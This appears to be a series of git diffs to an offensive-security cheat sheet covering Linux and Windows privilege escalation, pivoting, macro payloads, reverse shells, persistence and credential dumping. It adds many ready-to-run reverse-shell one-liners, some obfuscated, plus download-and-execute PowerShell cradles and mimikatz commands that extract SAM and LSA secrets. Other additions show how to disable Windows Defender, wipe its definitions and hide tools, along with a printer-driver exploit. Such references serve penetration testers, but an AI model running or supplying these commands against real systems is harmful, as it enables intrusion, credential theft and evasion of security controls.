## Online Cracking Resources
* [hashes.com](https://hashes.com)
* [crackstation](https://crackstation.net)
## References
* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking)
* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/)

View File

@ -72,7 +72,7 @@ or add the following line inside its .bashrc file.
```powershell ```powershell
$ chmod u+x ~/.hidden/fakesudo $ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~./bashrc $ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
``` ```
and create the `fakesudo` script. and create the `fakesudo` script.

View File

@ -41,6 +41,7 @@
* [Groups](#groups) * [Groups](#groups)
* [Docker](#docker) * [Docker](#docker)
* [LXC/LXD](#lxclxd) * [LXC/LXD](#lxclxd)
* [Hijack TMUX session](#hijack-tmux-session)
* [Kernel Exploits](#kernel-exploits) * [Kernel Exploits](#kernel-exploits)
* [CVE-2016-5195 (DirtyCow)](#CVE-2016-5195-dirtycow) * [CVE-2016-5195 (DirtyCow)](#CVE-2016-5195-dirtycow)
* [CVE-2010-3904 (RDS)](#[CVE-2010-3904-rds) * [CVE-2010-3904 (RDS)](#[CVE-2010-3904-rds)
@ -328,6 +329,13 @@ find / -uid 0 -perm -4000 -type f 2>/dev/null
### Create a SUID binary ### Create a SUID binary
| Function | Description |
|------------|---|
| setreuid() | sets real and effective user IDs of the calling process |
| setuid() | sets the effective user ID of the calling process |
| setgid() | sets the effective group ID of the calling process |
```bash ```bash
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c gcc -o /tmp/suid /tmp/suid.c
@ -340,7 +348,7 @@ sudo chmod +s /tmp/suid # setuid bit
### List capabilities of binaries ### List capabilities of binaries
```bash ```powershell
╭─swissky@lab ~ ╭─swissky@lab ~
╰─$ /usr/bin/getcap -r /usr/bin ╰─$ /usr/bin/getcap -r /usr/bin
/usr/bin/fping = cap_net_raw+ep /usr/bin/fping = cap_net_raw+ep
@ -434,10 +442,11 @@ Defaults env_keep += LD_PRELOAD
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles` Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```powershell ```c
#include <stdio.h> #include <stdio.h>
#include <sys/types.h> #include <sys/types.h>
#include <stdlib.h> #include <stdlib.h>
#include <unistd.h>
void _init() { void _init() {
unsetenv("LD_PRELOAD"); unsetenv("LD_PRELOAD");
setgid(0); setgid(0);
@ -737,6 +746,17 @@ lxc exec mycontainer /bin/sh
Alternatively https://github.com/initstring/lxd_root Alternatively https://github.com/initstring/lxd_root
## Hijack TMUX session
Require a read access to the tmux socket : `/tmp/tmux-1000/default`.
```powershell
export TMUX=/tmp/tmux-1000/default,1234,0
tmux ls
```
## Kernel Exploits ## Kernel Exploits
Precompiled exploits can be found inside these repositories, run them at your own risk ! Precompiled exploits can be found inside these repositories, run them at your own risk !

View File

@ -10,6 +10,7 @@
* [Proxychains](#proxychains) * [Proxychains](#proxychains)
* [Graphtcp](#graphtcp) * [Graphtcp](#graphtcp)
* [Web SOCKS - reGeorg](#web-socks---regeorg) * [Web SOCKS - reGeorg](#web-socks---regeorg)
* [Web SOCKS - pivotnacci](#web-socks---pivotnacci)
* [Metasploit](#metasploit) * [Metasploit](#metasploit)
* [sshuttle](#sshuttle) * [sshuttle](#sshuttle)
* [chisel](#chisel) * [chisel](#chisel)
@ -118,6 +119,17 @@ optional arguments:
-v , --verbose Verbose output[INFO|DEBUG] -v , --verbose Verbose output[INFO|DEBUG]
``` ```
## Web SOCKS - pivotnacci
[pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents.
```powershell
pip3 install pivotnacci
pivotnacci https://domain.com/agent.php --password "s3cr3t"
pivotnacci https://domain.com/agent.php --polling-interval 2000
```
## Metasploit ## Metasploit
```powershell ```powershell

View File

@ -17,6 +17,7 @@
* [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions) * [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions)
* [DOCM - winmgmts](#docm---winmgmts) * [DOCM - winmgmts](#docm---winmgmts)
* [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde) * [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde)
* [DOCM - BadAssMacros](#docm---badassmacros)
* [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module) * [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module)
* [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec) * [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec)
* [VBA Obfuscation](#vba-obfuscation) * [VBA Obfuscation](#vba-obfuscation)
@ -326,8 +327,7 @@ SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows
> Only the community version is available online. > Only the community version is available online.
* git clone https://github.com/sevagas/macro_pack * [https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe)
* https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe
```powershell ```powershell
# Options # Options
@ -385,6 +385,29 @@ echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o autopack -G sc_
echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls
``` ```
## DOCM - BadAssMacros
> C# based automated Malicous Macro Generator.
* https://github.com/Inf0secRabbit/BadAssMacros
```powershell
BadAssMacros.exe -h
# Create VBA for classic shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file>
BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt
# Create VBA for indirect shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s indirect -o <path_to_output_file>
# List modules inside Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -l
# Purge Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -o <path_to_output_file> -m <module_name>
```
## DOCM - CACTUSTORCH VBA Module ## DOCM - CACTUSTORCH VBA Module

View File

@ -28,6 +28,7 @@
* [Python](#python) * [Python](#python)
* [Ruby](#ruby) * [Ruby](#ruby)
* [Socat](#socat) * [Socat](#socat)
* [Telnet](#telnet)
* [War](#war) * [War](#war)
* [Meterpreter Shell](#meterpreter-shell) * [Meterpreter Shell](#meterpreter-shell)
* [Windows Staged reverse TCP](#windows-staged-reverse-tcp) * [Windows Staged reverse TCP](#windows-staged-reverse-tcp)
@ -94,19 +95,62 @@ IPv4
```python ```python
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
``` ```
IPv4
```python ```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```
```python
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```
IPv4 (No Spaces)
```python
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```
```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```
IPv4 (No Spaces, Shortened)
```python
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
```python
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
```
```python
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
```
IPv4 (No Spaces, Shortened Further)
```python
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
```python
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
```
```python
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
``` ```
IPv6 IPv6
```python ```python
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
``` ```
IPv6 (No Spaces)
```python ```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
IPv6 (No Spaces, Shortened)
```python
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
``` ```
Windows only Windows only
@ -248,6 +292,16 @@ Thread thread = new Thread(){
thread.start(); thread.start();
``` ```
### Telnet
```bash
In Attacker machine start two listeners:
nc -lvp 8080
nc -lvp 8081
In Victime machine run below command:
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
```
### War ### War
```java ```java

View File

@ -178,7 +178,7 @@ go get github.com/anshumanbh/tko-subs
```bash ```bash
git clone https://github.com/nahamsec/HostileSubBruteforcer git clone https://github.com/nahamsec/HostileSubBruteforcer
chmox +x sub_brute.rb chmod +x sub_brute.rb
./sub_brute.rb ./sub_brute.rb
``` ```
@ -192,4 +192,4 @@ go get github.com/Ice3man543/SubOver
## References ## References
* [Subdomain Takeover: Proof Creation for Bug Bounties - Patrik Hudak](https://0xpatrik.com/takeover-proofs/) * [Subdomain Takeover: Proof Creation for Bug Bounties - Patrik Hudak](https://0xpatrik.com/takeover-proofs/)
* [Subdomain Takeover: Basics - Patrik Hudak](https://0xpatrik.com/subdomain-takeover-basics/) * [Subdomain Takeover: Basics - Patrik Hudak](https://0xpatrik.com/subdomain-takeover-basics/)

View File

@ -12,6 +12,22 @@ From an HTTP server
```powershell ```powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
# Download only
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
# Download and run Rubeus, with arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
``` ```
From a Webdav server From a Webdav server

View File

@ -33,6 +33,7 @@ Mimikatz console (multiple commands)
```powershell ```powershell
PS C:\temp\mimikatz> .\mimikatz PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest mimikatz # sekurlsa::wdigest
``` ```

View File

@ -3,6 +3,7 @@
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Hide Your Binary](#hide-your-binary)
* [Disable Windows Defender](#disable-windows-defender) * [Disable Windows Defender](#disable-windows-defender)
* [Disable Windows Firewall](#disable-windows-firewall) * [Disable Windows Firewall](#disable-windows-firewall)
* [Simple User](#simple-user) * [Simple User](#simple-user)
@ -34,6 +35,14 @@
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist) - [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
## Hide Your Binary
> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
```ps1
PS> attrib +h mimikatz.exe
```
## Disable Windows Defender ## Disable Windows Defender
```powershell ```powershell
@ -42,6 +51,10 @@ sc config WinDefend start= disabled
sc stop WinDefend sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableRealtimeMonitoring $true
# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All
## Exclude a process / location ## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe" Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
@ -367,4 +380,4 @@ Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administr
* [Persistence Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/) * [Persistence Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/) * [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
* [Persistence Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/) * [Persistence Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
* [Persistence Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/) * [Persistence Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)

View File

@ -14,6 +14,7 @@
* [Default Writeable Folders](#default-writeable-folders) * [Default Writeable Folders](#default-writeable-folders)
* [EoP - Looting for passwords](#eop---looting-for-passwords) * [EoP - Looting for passwords](#eop---looting-for-passwords)
* [SAM and SYSTEM files](#sam-and-system-files) * [SAM and SYSTEM files](#sam-and-system-files)
* [HiveNightmare](#hivenightmare)
* [Search for file contents](#search-for-file-contents) * [Search for file contents](#search-for-file-contents)
* [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename) * [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename)
* [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords) * [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords)
@ -28,32 +29,38 @@
* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services) * [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services)
* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl) * [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl)
* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths) * [EoP - Unquoted Service Paths](#eop---unquoted-service-paths)
* [EoP - $PATH Interception](#eop---path-interception)
* [EoP - Named Pipes](#eop---named-pipes) * [EoP - Named Pipes](#eop---named-pipes)
* [EoP - Kernel Exploitation](#eop---kernel-exploitation) * [EoP - Kernel Exploitation](#eop---kernel-exploitation)
* [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated) * [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated)
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps) * [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers) * [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers)
* [EoP - Printers](#eop---printers)
* [Universal Printer](#universal-printer)
* [Bring Your Own Vulnerability](#bring-your-own-vulnerability)
* [EoP - Runas](#eop---runas) * [EoP - Runas](#eop---runas)
* [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies) * [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies)
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system) * [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts) * [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](#eop---impersonation-privileges) * [EoP - Impersonation Privileges](#eop---impersonation-privileges)
* [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges) * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges)
* [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives) * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
* [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation) * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
* [Juicy Potato (abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges) * [Juicy Potato (Abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
* [Rogue Potato (Fake OXID Resolver)](#rogue-potato-fake-oxid-resolver))
* [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](#efspotato-ms-efsr-efsrpcopenfileraw))
* [EoP - Privileged File Write](#eop---privileged-file-write) * [EoP - Privileged File Write](#eop---privileged-file-write)
* [DiagHub](#diaghub) * [DiagHub](#diaghub)
* [UsoDLLLoader](#usodllloader) * [UsoDLLLoader](#usodllloader)
* [WerTrigger](#wertrigger) * [WerTrigger](#wertrigger)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure) * [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
* [MS08-067 (NetAPI)](#ms08-067-netapi) * [MS08-067 (NetAPI)](#ms08-067-netapi)
* [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7) * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
* [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003) * [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003)
* [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012) * [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012)
* [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
* [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue) * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
* [CVE-2019-1388](#cve-2019-1388) * [CVE-2019-1388](#cve-2019-1388)
* [EoP - $PATH Interception](#eop---path-interception) * [EoP - $PATH Interception](#eop---path-interception)
* [References](#references) * [References](#references)
@ -384,7 +391,37 @@ pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt samdump2 SYSTEM SAM -o sam.txt
``` ```
Then crack it with `john -format=NT /root/sam.txt`. Either crack it with `john -format=NT /root/sam.txt` or use Pass-The-Hash.
### HiveNightmare
> CVE-202136934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user
Check for the vulnerability using `icacls`
```powershell
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not have read access!
```
Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.
```powershell
mimikatz> token::whoami /full
# List shadow copies available
mimikatz> misc::shadowcopies
# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
```
### Search for file contents ### Search for file contents
@ -541,6 +578,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
### Powershell History ### Powershell History
Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.
```powershell ```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
@ -792,6 +831,30 @@ For `C:\Program Files\something\legit.exe`, Windows will try the following paths
- `C:\Program.exe` - `C:\Program.exe`
- `C:\Program Files.exe` - `C:\Program Files.exe`
## EoP - $PATH Interception
Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is _before_ the folder that contains the legitimate binary.
EXAMPLE:
```powershell
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path
# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"
# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```
Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
## EoP - Named Pipes ## EoP - Named Pipes
1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")` 1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
@ -892,6 +955,91 @@ Citrix USB Filter Driver
<SNIP> <SNIP>
``` ```
## EoP - Printers
### Universal Printer
Create a Printer
```ps1
$printerName = 'Universal Priv Printer'
$system32 = $env:systemroot + '\system32'
$drivers = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll')
Add-PrinterDriver -Name 'Generic / Text Only'
Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
```
Execute the driver
```ps1
$serverName = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
```
### PrinterNightmare
```ps1
git clone https://github.com/Flangvik/DeployPrinterNightmare
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
